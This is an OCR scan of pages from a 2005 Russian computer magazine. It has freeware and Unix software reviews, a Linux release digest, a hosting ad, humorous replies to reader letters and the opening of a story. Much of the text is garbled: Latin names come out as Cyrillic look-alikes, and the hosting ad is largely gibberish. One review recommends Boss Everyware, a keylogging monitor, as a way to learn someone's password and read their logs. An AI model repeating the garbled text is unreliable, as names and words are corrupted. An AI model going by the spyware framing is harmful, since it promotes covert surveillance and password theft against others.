тех же, кто решился на решительный шаг, помощником может 
стать ѲиезГ РС (тлм/.ІІзтогѳзузіетз.сот), эмулятор х86 под Мае, 
требуемый для установки «ѴѴІпсІо\л/з в яблоках» :). 




Зігеатіипег ѵ 0.99.99 



РОЗІХ (*ВЗР, Еіпих, Зоіагіз...) 

Зіге (в .дг): 926 Кб 

\ллл/\л/.попдпи.огд/зГгеатГипег 
Лицензия: ВЗР 



Ввиду относительной популярности интернет-радио и его дос- 
тупности для немалой части российских пользователей особую 
актуальность имеет утилита зГгеатГипег. Программа является ос- 
нованным на ѲТКч-2 браузером потоков и призвана помочь ра- 
зобраться со всем множеством открытых в интернете радиос- 
танций. Для этого поддерживается работа с директориями 
ЕіѵеЗбб, ЗНОІЯсазГ Ѵе!!о\л/ Радез и ХірП.огд. В первой доступны 
лишь две категории: ЕсііГог'з Ріекз и поиск, а вот в двух других еще 
и разбиение по жанрам. Причем, если в ХірГі оно ограничено 
банальным перебором АіГегпаГіѵе, Сіаззіе, СоипГгу еГс, в 
ЗНОІЛсазГ можно наблюдать куда более развитую структуру с 
подсекциями: например, ЕіесГгопіс дополнительно делится на 
АтЬіепГ, Эгит апсі Вазз, Тгапсе, ТееГшо, Ноизе, Оо\л/пГетро, 
ВгеакЬеаГ, Асіеі Загг. Списки с интернет-радио для разных сис- 
тем несколько разнятся. Так, в ЗНОІЛсазГ для каждого указывает- 
ся (опционально) его жанр (обычно их бывает несколько: 
АтЬіепГ ТесГтпо ІОМ и т.п.), описание, проигрываемая в данный 
момент композиция, число слушающих (в данный момент и мак- 
симальное), битрейт, домашняя страница, ПІ?Е для прослушива- 
ния. У ХірГт отсутствуют не очень-то и нужные описание и сайт, за- 
то указывается тип потока (МРЗ, ОѲѲ ѴогЬіз, МЗѴ Ѵісіео еГс), а у 
ЕіѵеЗбб есть еще и такие характеристики, как доступ и рейтинг. 
Для воспроизведения потоков используются внешние програм- 
мы. По умолчанию это ХММЗ, но можно выбрать и любую другую. 
К поддержке ЕіѵеЗбб, ЗНОІЛсазГ и ХірГт. огд (которая, кстати, реа- 
лизована модульно) добавлена и функция взаимодействия с ло- 
кальным музыкальным архивом (в нем вместо потоков появляется 
список доступных файлов). При работе с сетью разрешается 
использование ргоху (НТТР/Зоскз5 с опциональной аутентифика- 
цией), для ЕіѵеЗбб и ЗНОІЛсазГ при желании задается ограниче- 
ние на число показываемых в категории потоков, а в ЕіѵеЗбб мож- 
но указывать свои данные для получения доступа к дополнитель- 
ным потокам. Все понравившиеся радиостанции можно добав- 
лять в закладки, а при наличии утилиты зГгеатгіррег (или анало- 
гичной) текущий поток с легкостью записывается на жесткий 
диск при нажатии кнопки «РесогсІ». 






[хакер 06 [78] 05 > ЮНИТЫ 147 ] 






[хакер 06 [78] 05 > ЮНИТЫ 148 ] 



АпІіКідИІ V 2.7 

РОЗІХ (*ВЗР, Цпих, Зоіагіз..) 

Зігѳ (в ,дг): 130 Кб 

\л/\л/\л/.попдпи.огд/агтИгідМ1~ 
Лицензия: ѲМЦ ѲРІ 



АпІ'ІРІдМ □ѳзкі'ор 
Епѵігоптеп+ — легко- 
весная графическая 
оболочка (не путать 
с оконным менедже- 
ром! — на скриншо- 
те под ней запущен 
РІихЬох) на базе 
Мо'І'ІР АпЕІРІдІпЕ не 
только занимает ма- 
лый объем памяти, 
очень проста в ин- 
терфейсе, но и, как 
водится, не лишена 
известной доли ми- 
нимализма, Ее основная панель по умолчанию размещается в ле- 
вом верхнем углу, в ней представлено переключение между раз- 
личными рабочими пространствами, кнопки для вызова дополни- 
тельной панели А.С.Е. (Ап+ІРІдМ Соп(ідига1'іоп Епѵігоптепі'), выпол- 
нения произвольной консольной команды, скромный интерфейс к 
аЕ (в два шага задается команда и время ее запуска), иконки с не- 
которыми приложениями (утилита составления напоминаний ЗІІску 
МоЕе, примитивный файловый менеджер, текстовый редаіаор, каль- 
кулятор, менед>кер файловой системы, СО-проигрыватель, окно с 
подробным перечнем настроек АпРІИдМ — в нем перечислены все 
команды, выполняемые при выборе тех или иных элементов в пане- 
лях оболочки). Множество других часто употребляемых приложе- 
ний раскидано по дополнительным панелям: Асітіпізітаі'іоп (ирЕІітіе, 
рз, Еор, СІЕ \л/бо е+с), Еііе Зузіет, МеЕл/огк (ззіп, зІЕр, ррр, 1'еіпеі' е+с), 
ТІпетез (подборка стандартных тем). В связи с тем, что предлагае- 
мый набор опций и приложений может показаться кому-то слиш- 
ком маленьким/большим/неудобным, предусмотрена возмож- 
ность полной настройки и подгонки под себя всей среды. 




Риге-РТРсі у 1,0.20 

РОЗІХ ГВЗР, Еіпих, Зоіагіз...) 

Зіге (в .Ьг2): 460 Кб 

\ллл/\л/.риге1Ерс1.огд 

Лицензия: ВЗР 



Риге-ЕТРсІ — один из 
самых популярных 
ЕТР-серверов для 
ЕІпІх/ЕІпих-систем. По 
заявлениям разра- 
ботчиков, основное 
внимание они уделя- 
ют безопасности 
Риге-ЕТРсІ — в подтве- 
рждение этому они 
приводят очень прос- 
той фаіа: с момента 
релиза первой вер- 
сии сервера для не- 
го еще не было соз- 
дано ни одного гооЕ- 
эксплоита . А с помощью эмуляции сІзгооК) сервер в состоянии рабо- 
тать, абсолютно не ну>кдаясь в правах суперпользователя. Отличи- 
тельной особенностью Риге-ЕТРсІ является то, что по умолчанию де- 
мон не использует никакого конфигурационного файла, а все наст- 
ройки задаются через командную строку (разнообразие задавае- 
мых таким образом опций достаточно широко). Те, кому такой вари- 
ант не понравится, могут обратиться и к традиционному риге- 
(ІрсІ.сопЕ Все это способствует простоте Риге-ЕТРсІ: уже сразу после 
установки пакета достаточно всего лишь ввести «риге-(Трс1» в консо- 
ли, по необходимости оперативно снабдив парой опций, — без пот- 
ребности в длительных разбирательствах с конфигом. Среди под- 
держиваемых возможностей: ЗЗЕ/ТЕЗ-шифрование, ЕОАР-аутентифи- 
кация (рІаіпІ'ехТ, сгурЕ М05/ЗМ05, ЗНА/ЗЗНА), виртуальные аккаунты и 




виртуальные ЕТР-серверы, хранение данных о пользователях в БД 
МуЗОЕ, развитая система квотирования и задания индивидуальных 
настроек для любого пользователя, логирование в стиле АрасЕіе 
(для совместимости с \л/еЬ-статистикой). Кроме того, Риге-ЕТРсІ почти 
полностью соответствует спецификации протокола РТР (это первый 
сервер, поддерживающий команды ЕЗТА и ЕЗТР), локализован на 
множестве языков (русский в их числе), без проблем функционирует 
с ІРѵб. К Риге-РТРб существуют и разнообразные надстройки вроде 
КстРигеЕТРсІ (КОЕ-интерфейс для настройки) и РигеРТРсІ ЕІзег 
Мападег (\л/еЬ-интерфейс для управления пользователями). 



К880ѴѴІ V 1.1 

Кроссплатформенность 
Зіге (в .ди): 4738 Кб* 

\ллллл/.гззо\л/1.огд 

Лицензия: ѲМЦ ѲРЕ 



РЗЗО\л/1 — написанная на Таѵа 
утилита для чтения новостей в 
форматах РЗЗ/РОЕ/АТот. Добав- 
ляемые источники произвольно 
сортируются по каталогам/под- 
каталогам «Избранного», в свой- 
ствах каждого можно устанавли- 
вать автоматическое обновле- 
ние каждые 1/5/15 минут или 
1/3/12/24 часа, а также при 
старте программы. Данные им- 
портируются в ОРМЕ, а экспортируются не только из него, но и из 
ВІодгоІІ. Из загруженных новостей можно генерировать простые РОЕ-, 
РТЕ- и НТМЕ-документы. Кроме того, ка>і<дой заметке можно присва- 
ивать свою оценку по пятибалльной системе. Когда новостей стано- 
вится слишком много, полезным окажется поиск (работает с логи- 
ческими АЫО, ОР и N07 и регулярными выражениями), а если нао- 
борот, есть желание подсоединить новые каналы, то поможет интег- 
рированная система нахокдения РЗЗ-источников по ключевым сло- 
вам. Причем в случае потребности обнаружения канала на конк- 
ретном сайте можно воспользоваться соответствующей функцией 
нахождения новостной ленты по заданному ЕІРЕ. Выбранные резуль- 
таты из найденных РЗЗ-источников двумя кликами добавляются в 
«Избранное» либо экспортируются в ОРМЕ. Программа оснащена 
настраиваемым интерфейсом (расположение элементов окна, 
цвета, шрифты, язык, тип сортировки поступающей корреспонден- 
ции, иконка в трее и т.п.) и горячими клавишами (на них забивается 
масса разнообразных операций). Поддерживается соединение 
через ргоху-сервер с авторизацией. Представлен валидатор для 
проверки на соответствие стандарту любого РЗЗ-канала. 




* Бинарная сборка дл?> ипих. 



РгохСШ V 2.0.5Ье1а 

Еіпих 

Зіге (в .Ьг2): 759 Кб 

ЕіЕІ~р://ргогіІІа.депезуз.го 

Лицензия: ѲМЕІ 6РЕ 



РгогѲЕІІ — графическая версия 
утилиты РгоЗІІа, с1о\л/п1оас1-менед- 
жера, ключевой особенностью 
которого, по утверждению авто- 
ров программы, является возмож- 
ность увеличения скорости даун- 
лоада на 200 или даже 300 про- 
центов. ЕІа самом же деле дан- 
ная акселерация достаточно от- 
носительна, потому что возникает 
лишь в случаях, когда ограничено 
число и скорость закачек запрашиваемого файла с сервера. Когда 
подобное происходит, РгогѲЕІІ начинает поиск доступных зеркал с 
нужным файлом и продолжает закачивание в несколько потоков од- 
новременно с различных серверов. Из поисковых систем даются на 
выбор ШевеагсЫпд.сот, йрвѳагсіі.ипюѵіѳ.ѳз, ПрзеагсІі.Іусоз.сот — 
использовать другие нельзя, однако число зеркал для запроса и для 
их одновременного пинга, общее количество потоков, время, через 
которое совершаются повторные попытки подключения, и таймаут 





регулируются. Организована поддержка НТТР/РТР-прокси с аутенти- 
фикацией. При обнаружении зеркал РгогѲІЛ будет пытаться найти 
лучшее из них, отправляя запросы пинга, и уже его выберет для ново- 
го потока. В обгцем, программа может быть действительно полезна 
при наличии широкого канала и медленной связи с сервером, а ина- 
че представляет собой не более чем очень простой менеджер зака- 
чек без каких-либо выдающихся возможностей. 

тІРаіпІ V 0.90 

^іпиx, ѴѴІпсІо\л/з 

Зіге (в .дг): 179 Кб 

\длллл/.Ы'іп1'егпеісот/~тагк.1уІег4/тІраіп1'/ 

Лицензия: ѲN^ ѲРІ 



птІ'РаіпІ' — простой 
графический редак- 
тор на базе ѲТК+ 
(поддерживаются 
обе ветки библиоте- 
ки: 1 и 2). Програм- 
ма работает с фай- 
лами в форматах 
РNѲ, ѲІР, ЗРЕѲ, ТІРР, 
ВМР, ХРМ, ХВМ. В па- 
нели представлены 
такие операции пре- 
образования изоб- 
ражения, как верти- 
кальное/горизон- 
тальное зеркалирование, поворот по/против часовой стрелки на 
90 градусов, урезание и масштабирование до заданных разме- 
ров, а таіоке разнообразные инструменты: кисточки (круглые и 
квадратные), прямые линии (горизонтальные, вертикальные, нак- 
лонные как «/» и «\>і, произвольные с указанием их начала и кон- 
ца), распылители, заливка, выделение части изображения, прос- 
тые/закрашенные эллипсы и прямоугольники. Для игры с цвета- 
ми существует функция инвертирования и перевода конкретных 
цветов в другие. Что является особенно удобным, так это наст- 
ройка всех основных инструментов прямо в главном окне: слева 
можно выбирать любой из 256 цветов, а возле панели задается 
размер для текущего инструмента (например для линии это бу- 
дет толщина). Присутствует и небольшой набор эффектов, сре- 
ди которых, например, резкость, размытие и изометрические 
трансформации. Изображения можно просматривать в разме- 
рах от 10% до 2000% от натуральной величины, для удобства 
представлен их уменьшенный вид с возможностью перемеще- 
ния по нему. 

088 Кеіеазе ОідезІ: Мапсігіѵа 
Ыпих ^ітіIесI Есііііоп 2005 

Компания Мапсігіѵа, ранее известная как МапсігакезоІІ’, предста- 
вила выпуск Мапсігіѵа Ппих Птііесі ЕсШіоп 2005 — новую версию 
своего дистрибутива с последними программными пакетами. Ре- 
лиз стал промежуточным между Мапсігакеііпих 10.1 0((ісіаі и 
Мапсігіѵа Еіпих 2006 0((ісіаі, а ключевая цель, которую в нем прес- 
ледовали разработчики, — предоставление новых версий попу- 
лярных программных пакетов. Среди программного обеспече- 
ния, представленного в Мапсігіѵа Ппих ЕІгпІІесІ Есііііоп 2005: Ппих- 
ядро 2.6.11.6, графические среды КОЕ 3.3.2 (некоторые пакеты, 
например КРОЕ, заимствованы из КОЕ 3.4) и ѲМОМЕ 2.8.3, \л/еЬ- 
браузер МогіІІа Ріге(ох 1,0.2, компилятор ѲСС 3.4.3, графический 
редактор ТОе ѲІМР 2.2, набор утилит для записи СО/ОѴО 
ссігесогсі 2.01.01а21 (с поддержкой двухслойных ОѴО-гР), офис- 
ный пакет ОрепО№се.огд 1.1.4, база данных МуЗОЕ 4.1.11. Более 
подробная информация по новому дистрибутиву доступна на 
\л/еЬ-сайте Мапсігіѵа: Ііі"І'р://\А/ѵѵѵ\/.тапсІпѵа.сот/ргосІисі'з/Іітіі- 
еб-еШіоп. 

Из других релизов: РозЕдгеЗОЕ 8.0.2, Еесіога Соге 4 ТезЕ 2, ОЕ 4 ВеЕа 
2, МеЕВЗО 2.0,2, ЕігеЕох 1.0.3, МогіІІа ЗиіЕе 1.7.7, Арасіпе 2,0.54, 
ОеЬіап ѲМЕІ/Еіпих 3.0г5, Егеесіѵ 2.0.0 (+2.0.1), МРІауег 1.0рге7, 
ЕІЬгапеЕ ѲМО/Еіпих 3.0. ѲМОМЕ 2.10.1, ЕгееВЗО 5.4 РСЗ, ОрепѴРМ 
2.0, ѲСС 4.0, \л/хѴѴІсідеЕз 2.6.0, ѴеіІо\л/ Оод Еіпих 4.0.90, Ргодепу 
ОеЬіап 3.0 Ргеѵіеѵѵ 1, КОЕЕІсе 1.4 ВеЕа 1. 
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Ёігрггутыьныіі выд^лскныГі ссрв4ф па ЖКІЛЮЖНСКГПІМ [ІИОЛО- 
гѵиісіі фіпнчсамоліу 

Жѵ-іпЕчнт ^СIIЬТII 

Внріу'олыіыіг вылс-'ісішиП с^рвіЕ]? яв-іяется н^дарогнЕЯ рс- 

іишисы ДЧ 1 ла.іькіБнгс:ііс^, иііісрвсі ісроекти^ 

тічСуюілие насі-рскік 

пм|№ іпримоЕГ нирту'л.пыііаго лихтлні'я, п счу тзх^ 
№птся бачылвс 'воЕімоокііаЕ'пі іі бапьаінс ссрв^рмыа ресур- 
сы. іишгпЕішЕыіым Міібо|хжі по слдпкниеіпію ікііЕѵ'іфаніась 
ДІГіСЗІЫЮСПІ. {ірСИЕІЛ ѴГ)5. йи4І&ГіСі[ІіЫІГ 

серпер подвалит сюинсниніі. лсиын в мсрыссі і>ь'іиді:іі ир^іі- 

МЫК ІІ|ЧКІ№(Е. р5ІМСІ11іММІЯ^ гіа М|І.'ІС.'ІСМІІМ^ 

серверах. подволітт еушнтвппіо сакрапгтъ дотрапіГ 
мрн отлоарлЕ расігредсдснтііін пріисженіій. Стонмсктіь лрспды 
ѴПЯ в іЫЕсшшііш іыт теме сіаныйстіЕ аренды ы4ж.ченногсі 
сервера. 

іір44ННЕтак.ійС'Т Бй.]і.шііе ішиннмн^кін на сранлсыній 
С і;осінііи>н 

- ѴІХз имеет Е'ікчі иршксси.. Еіальэсшоіс^іен и іірелоствшіяіЕТ 
пааііый [кюЕ-.фастущ 

- сойствсиііыс ІРтддрсса, норплЕ 

' ѴОЯ- Мі'ИЙГТ ■[ЧсП-Сіпб^'ТПЙіНЮе Кчфііу-рЦІНИшСІЕІЯіЕфЙТІЫ 
II іфсираАгимые еі|чвн.т№сння; ноеіііЮвзт'Сль іінсег ошлкіжіги- 
егтъ саілаяітгь.сюбстБсннзіЛЕ версии сиілсмлык бнЁлінпск ІІПІІ 
ниісштс суцмЕсіиуніщііс; 

' Вг'ІЗіТі^Іс^і Ѵ|)6 МнояЛ кпИиНГПі ЛіЫтІЛе і{іан.1Ы, пКлісчая і|)ан' 
лы в га-.човлпіі н других служебных дтіреюіариях, л тлвне 
усіянав!іиввтъ'нііісі:р&іиіэгь.''н'пнЕііять лкгіхнЕ достушнос про- 
фаымін-ц! обсчЕнс^книс: 

' ѴШ имеет МіЕІінмл.1ьиыс Гар(ітгтіфі>гіцііЕІыерѵс>'рсн к/ѴМ 
С.ТЦ н вюімижііость. іісісслв'товл'Пк все нгтольные ресурсы 
сервера. 

Услуги гірСлС'СтааЕіжсныл х.езхіИіінисе'і. ичснтг сѵтжі 
осо^ііЕіастъ: Еісст Хоститіг не огряЕіЕі'інваст полнаватс- 
деі^ в ііыбаріЕ йііс|ніишинаГч системы.. 




тел. 7кі^.ч4.^ 

7 :|ч .... 7 
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Базу СІеапег 2.0 

ѴѴІп 95/98/МЕ/2к/МТ/ХР 

РгѳѳѴѴаге 

Зігѳ: 1,5 Мб 

\л/\л/\л/.1'опіаіІ5.сот 



Ой, что это с моим 
жестким диском? Вы 
только посмотрите 
но него; из 20 гига- 
байт занято 19,5, при- 
чем непонятно чем. 
Вроде бы поставил 
только фотошоп и 
скачал пару филь- 
мов... Попадал ли ты 
когда-нибудь в такую 
ситуацию? Я — не 
раз. Все дело в том, 
что со временем в 
нашей системе на- 
капливаются различ- 
ные І'етр'овые фай- 
лы, ненужные системные бэкапы и прочий хлам. Мануально отловить 
все эти изменения, беспощадно отгрызающие и без того узкое дис- 
ковое пространство, праіаически невозможно. 

Знакомься, Базу СІеапег (здесь по сценарию программа крепко 
жмет тебе руку). Изи клинер абсолютно безвозмездно (читай, не 
нужны кряки, ага) справится с такими немаловажными задачами, 
как очистка реестра и продвинутый поиск одинаковых файлов. 
Таіоке софтина может составить диаграмму распределения сво- 
бодного места твоего винчестера. Ты узнаешь, какие папки зани- 
мают больше всего места, и сделаешь соответствующие выводы. 
В общем, простая утилитка, постоянно совершенствующаяся и 
имеющая несколько языковых локализаций, подойдет каждому. 
Советую. 




Во85 Еѵегуѵѵаге 2.83 

РгоІеззіопаІ 

ѵЗ.ОО 

ѴѴІП 95/98/МЕ/2к/МТ/ХР/2003 

ЗІпагеѴѴаге 

Зіге: 3 Мб 

\л/\л/\л/.Ьоззеѵегу\А/Ітеге.сот 



личное средство уз- 
нать чей-нибудь па- 
роль или почитать ин- 
тересные логи. 
Программулина под- 
держивает пароль- 
ную защиту, снять ко- 
торую под силу толь- 
ко сетевому админи- 
стратору. О других 
возможностях Везде- 
босса читай на офи- 
циальном сайте. 




ТурИоп III 

ѴѴІП 98/МЕ/2к/МТ/ХР/2003 

ЗітагеѴѴаге 

Зіге: 5,4 Мб 

\ллллл/.пдззо(І'\л/аге.сот 



Без чего не обойдется ни один уважающий себя хакер? Нет, без де- 
вушки он проживет. Хакер может быть геем, например, мы ему этого 
не можем запретить. А обойтись он не может без отличного сканера 
уязвимостей, который всегда должен быть под рукой. Один из лучших 
и наиболее быстрых представителей данного типа полезных прог- 
рамм — ТурНооп III от N633 (основанный на СегЬегиз ІпІетеЕ 
Зсаппег). Аббревиатура эта славна в ІТ-Зесигі1у сфере тем, что това- 
рищи из группы с таким названием нашли более сотни уязвимостей в 
различных продуктах корпорации МелкоМягких. Это говорит о высо- 
кой квалификации мемберов команды и, соответственно, о качестве 
сканера уязвимостей. Туріпооп ищет более 200 известных уязвимос- 




тей в ѴѴеЬ серверах, более 350 уникальных проверок системного ре- 
естра Форточек. Возможно сканирование подсети. Отчеты о проде- 
ланной работе предоставляются в удобном НТМЕ-файле. 



МНОО 4.4 

ѴѴІП 98/МЕ/2к/МТ/ХР/2003 

ЕгееѴѴаге 

Зіге: 117 Кб 

тІпсІсІзоЕІтл/аге.сот 



Находка для шпиона. «Босс вездеі» — очень красноречивое назва- 
ние, лозунг не только боссов в их компаниях, когда они проверяют 
подчиненных на честность — работают ли те в отведенное время 
или занимаются всякой чертовщиной, — но и обычных рядовых 
пользователей, которые, например, хотят мониторить работу 
собственной системы на наличие разных троянов. Программа ве- 
дет статистику использования компьютера, тайно запоминает (ре- 
гистрирует) имена запущенных программ, время их работы, свеже- 
установленные софтины, заголовки открытых окон, адреса посе- 
щенных ссылок, а таюке всю информацию о залогиненных \л/іп-юзе- 
рах. Возз Еѵегу\л/аге обладает кейлоггерскими фишками, то есть 
фиксирует все нажатые/копипастнутые/выделенные клавиши — от- 



Комрад хакерелло, а знаешь ли ты, ГДЕ находится сердце 
твоего железного коня? В процессоре? Бред. Твое сердце, 
мозг и душа — это жесткий диск. Это твоя жизнь, пусть и вир- 
туальная. Но именно она зачастую приводит к реальным 
последствиям. Поэтому за своим хардом обязательно нужно 
следить, чтобы потом не кусать локти из-за гигов потерянной 
инфы. 

МНЭО — это бесплатная программка для быстрой и точной диаг- 
ностики и исправления ошибок винчестера. Диагностика состо- 
яния пластин проводится со скоростью до 4 гигабайт в минуту. 
МНЭО легко и быстро позволит избавиться от бэдовых секторов 
на жестком диске. Также софтина в состоянии мониторить 







ЮЕ/ЗАТЕ-регистры, настраивать шумовые характеристики нако- 
пителя, изменять его объем, полностью или частично стирать по- 
верхность и очищать МВГ?. Поддерживается парольная система 
накопителя, возможен тест винчестера в тяжелом режиме, замер 
ААТ (Аѵегаде Ассезз Тіте). По окончании работы сканирования 
выводится затраченное время. Софтина своевременно обновля- 
ется, что позволяет ей следовать в ногу с прогрессом. Например, 
совместимость с ВІ05 максимальна; на всех современных компь- 
ютерах стирание файлов производится в режиме ІЮМА. 




Затигіге 1.62 

Затигіге 1 .62 

ѴѴІп 2к/ХР 

ЕгееѴѴаге 

Зіге: 4,31 Мб 

\длдлл/.затигІ 2 е.сот 

Все больше и больше выходит программ, предназначенных для 
мониторинга работы компьютеров. Тем интереснее и сложнее 
искать среди них уникальные экземпляры. В результате долгого и 
упорного поиска я обрел ее — Затигіге 1.61 является лучшей 
программой в своем роде. Она предоставляет информацию о 
системе и выводит различные статистические данные мониторин- 



га в реальном времени... Куда бы ты думал? Да прямо на рабочий 
стол — верх удобности. Если еще учесть офигенно стильный ди- 
зайн и кучу плагинов со скинами, то мониторинг данных превра- 
щается в завлекательное шоу. 

Какие же полезные данные способна выдавать прога? Это заг- 
рузка и температура твоего навороченного пятого пентиума, ско- 
рость передачи данных жесткого диска, объем его свободного 
пространства. Еще ты узнаешь, крутится ли твой вентилятор, как 
белка в колесе, сколько осталось доступной оперативки и про- 
чее. Помимо технических характеристик, программа выдает тебе 
календарь, прогноз погоды, программу ТВ-передач и новости. Ну 
прямо не рабочий стол, а информационный центр какой-то :). И 
последний приятный момент — тебе не придется лазить по кряк- 
сайтам в поисках серийника, софтина совершенно бесплатная. 
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Е-МАІІСОММЕМТЗ 
_ ЬООЫік 

(тада2іпе@геаІ.хакѳр.ги) 



д?чмп..-.::''ѴІТАМІЫ''::. Соо^ МаМ < 2 _деп@гатЫег.ги> 

Привет, я бы хотел узнать ПОЧЕМУ у вас в журнале 
только по 2-е болванки, ведь этого мало ЧИТАТЕЛЯМ. И 
читатели, от моего лица, требуют пополнения на 1 шту- 
ку болванок к журналу. И еще хочу спросить есть ли 
программы к модему Зсот и.З.Г?оЬоТісз(г)56К Меззаде 
тосіет для изменения голоса 

Р.з. Захадя по ссылке Шр://уѵ\А/ѵѵ.іЫи^Л/киг55Іі/04- 
05/010577001 /Ехегсізѳз/ появляется некая инфа, объяс- 
ните пожалуйста что это и с чем это едят? А то таких 
ссылок у меня дофига и бальше (мне не жалко так что 
поделюсь с вами одной. ..@(Л-Л)@ ) 

ЛТге.- Здорова, Витамин! Вот честно, сами не вразумили 
до сих пор, почему у нас с журналом выходит две болван- 
ки? И с каких это пор вообще? Раньше, помнится, прикла- 
дывались диски с разной информацией, а теперь, как ты 
говоришь, болванки. Вероятно, Куттер таки уволил Хинта, и 
теперь некому заниматься дисками. Вот и стали вклады- 
вать в журнал пустые болванки — мол, качайте сами, лю- 
ди дорогие, и записывайте все тоже сами. А что? Удобно! 
И Хинту платить не надо, и заводу диско-пишущему тоже 
бабки отваливать не приходится. Экономия налицо. Так 
что зря мы пожмотились — отныне каждый месяц будем 
вкладывать бонусную третью болванку на халяву! 
Программа для изменения голоса к тваему модему 
есть, но, к сожалению, выкладывать ее не станем (см. 
первую часть нашего письма). Гугл тебе в помощь! 

А вот по ссылочке, данной тобой, пройти испугались. 
Вдруг там вирус какой-нибудь страшный заморский? 
А у нас тут в редакции антивирусы кончились, а новых 
пока что не завезли :(. 

Ну все, Витаминыч, бывай! 

вРтт: Ламсрочек Сахатый <Іатего4ек@таіІ.ги> 

Не могу справиться с червем. 

Привет! Извините за глупую просьбу, однако. Недавно 



залез в сеть без должного прикрытия и хватанул какую-то дрянь с 
рор-ир. Короче постоянно меняется логин и номер телефона в 
дайл апе. Антивирусы эту дрянь не видят, а ехе-шник я и так вроде 
удалил, но резельтата все равно нет. Да еще на ровном месте 
выскакивают рор-ир какие-то млядские. Помогите. Заодно не мог- 
ли бы вы подсказать прогу которая бы мониторила все процессы 
запущенные на моей машине и выдвала бы мне их с!ерепс1епс!ез. 
Зарание благодарю и извините за столь банальную просьбу — 
просто я подотстал немного. 

Спасибо. 

Привет, Сахатый! Прочитали твое письмо и очень заинтере- 
совались млядскими поп-апами. Перерыли кучу информации по 
теме и нашли необходимые сведения. В общем, в свое время жил 
на свете некий Мляд. Он занимался нехорошими вещами в интер- 
нете — тырил пароли на чужой диалап, пранком увлекался. Все 
бы ничего, однако всякие бабки с АТС и хозяева интернет-аккаун- 
тав, вычислив его номер, частенько навещали Мляда и нежно гла- 
дили его по голове. Зачастую не руками, а увесистыми предмета- 
ми. Мляду это дело не очень нравилось и он написал программу, 
которая меняет номер телефона. С тех пор он безнаказанно ба- 
ловался в Сети, но умер в итоге от скуки, ведь никто с тех пор к не- 
му не мог дозвониться из знакомых — номер-то другой постоянно 
:(. Так что будь осторожнее с млядскими поп-апами, хораша, Са- 
хатый? 

вРтт: 5егдеу А. кипсіе <1ипсіе@$сп.ги> 

Зи^: Авторы нужны? 

Здравствуйте! 

У меня есть опыт написания статей в университетскую газету, в 
журнал «Схемотехника», на конференции. Хотелось бы сотрудни- 
чать с вашим журналом на выгодных для меня и для Вас условиях. 
Возможна ли дистанционная работа с Вашим журналом? 

С уважением, Сергей Лунде. 

ЗС_!^: Угбебен, Серж! К сожалению, ты не падходишь нам. Да, у 
всех авторов перед зачислением в штат наших сотрудников был 
опыт написания статей в журнал «Схематехника», университете- 





кую газету, школьную стенгазету и прочтения рефератов на па- 
рах. Однако плюс ко всему они еще имели опыт обучения малень- 
ких девочек правильной контрацепции в журнале «Кул+Кру- 
то-нНиштяк», учили взрослых дядек грамотно тюнинговать инвалид- 
ные коляски в журнале «Под рулем», делились знаниями из облас- 
ти размножения фитопланктонов сердечно-сосудистым путем в 
газете «Юный натурализм». И заметь, все это они делали отнюдь 
не дистанционно! 

Так что, Серега, руки в ноги — и дуй набираться опыта в этих жур- 
налах, а потом поговорим! 

САМОЕ ДУРАЦКОЕ 
ПИСЬМО МЕСЯЦА 

вИчип: еѵдепіу заѵіізкіу <1і1ап90@иа.1т> 

Здравствуйте хакеры. Короче, хочю чтобы в вашем журнале 
15 страниц было посвященно компютерным играм. 

САМЫЙ ДУРАЦКИЙ 
ОТВЕТ МЕСЯЦА 

Женя, обязательно! 

аГ/’от: СІапМРеаН [таіІІо:сІаппІеаг@ігоп1.ги] 

Просто письмо :) 

Привет, редакция любимого журнала. Пишет вам ваш постоян- 
ный с 2004 года читатель из города партизанской славы Брянс- 
ка! Журнал, конечно, кульный. И на самом деле вы нисколько 
не «ламереете», как говорят некоторые читатели. Но мне не 
нравится большое количество багов на дисках; на февральс- 
ком ДВД не работает ни один раздел в папке тада 2 Іпе/ѵг!от/ 
и выложен ДЕКАБРЬСКИЙ номер :( В остальном, конечно, все 
классно. Личные приветы: Бублу, Форбу, Никитосу, НСД (кста- 
ти, Слег, ответь на мое прошлое письмо:)) и Лозовскому (хо- 
рош над ним прикалываться!). Хумор с Бублом и Майндом, по- 
моему, стал еще лучше. Ну все, пока, не болейте и чистите зу- 
бы 2 раза в день ;) 



те.- Доброго, СІапМЕеаР! По прочтении твоего письма нам ста- 
ло очень приятно и прельстиво. Теперь мы чистим зубы дважды в 
день, и у нас хорошо пахнет изо рта, НСД так вообще зубную щет- 
ку не вынимает из ротовой полости. Так что ответить на твое пос- 
леднее письмо не сможет — времени не хватает даже на еду. 
Над Лозовским по твоей просьбе тоже перестали прикалываться. 
Сбъяснили ему все стоматологические прелести зубной щетки, и 
теперь он знает, что ей надо чистить совсем не унитазы в редак- 
ции (да, пора бы и мне объяснить Бублику, что юмористы 
работают бесплатно :). — Прим. Лозовского). Счень тебе благо- 
дарен и передает ответный личный привет. А за баги на ДВД Хинт 
нам ответил. Теперь ему зубная щетка вовсе не нужна. 

Ну все, партизан, время позднее, пора нам чистить зубки и спать. 
Удачи, не болей тоже. 

!Угот! Евгений Захаров <таіІ1о:2еѵ8ІІіипс1ег@таіІ.ги> 

^иЬ/,: Вопрос о выходах журналов 

Здравствуйте. Скажите, пожалуйста, не было ли задержек выхо- 
дов журналов «Хакер» за март и апрель? Ситуация следующая: за 
январь и февраль журналы пришли нормально, а за март и ап- 
рель — нет. На почте сказали, что журналы перестали выпускать. 
Но на вашем сайте сказано, что журналы выходят. Скажите, кому 
верить? Или как можно решить данную проблему? 

С уважением, Захаров Евгений, 

Х_гв: Верьте, товарищ Захаров, почте! Российская почта — самая 
почтовая почта в мире! !<ак скажет почта — так и будет! Скажет она, 
что журнал перестали выпускать, — мы перестанем на самом деле. 
Скажет, что деньги, посланные бабушке в конверте, отрастили ноги и 
сами в путь ушли, — будем ей верить! Главное — не верить почтовому 
спаму от отправителя «Военный комиссариат». Это единственное, че- 
му не стоит верить. Это так почта российская шутит, чтобы мы не рас- 
слаблялись. Если получишь такой спам - сразу же кидай его в трэш и 
меняй адрес проживания, чтобы он тебя больше не доставал. 

Но это все лирика, вернемся к твоей проблеме. Думаю, выход 
один — сходить в магазин и приобрести те номера, которые тебе 
так и не пришли. Это стоит сделать обязательно, потому что в мар- 
те и апреле есть что почитать, как всегда. Удачи! 
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Хакеры в деревне 

ПРИЕХАЛ Я ПРОШЛЫМ ЛЕТОМ В ДЕ- 
РЕВНЮ. НУ ТАМ, МОЛОЧКА ПАРНО- 
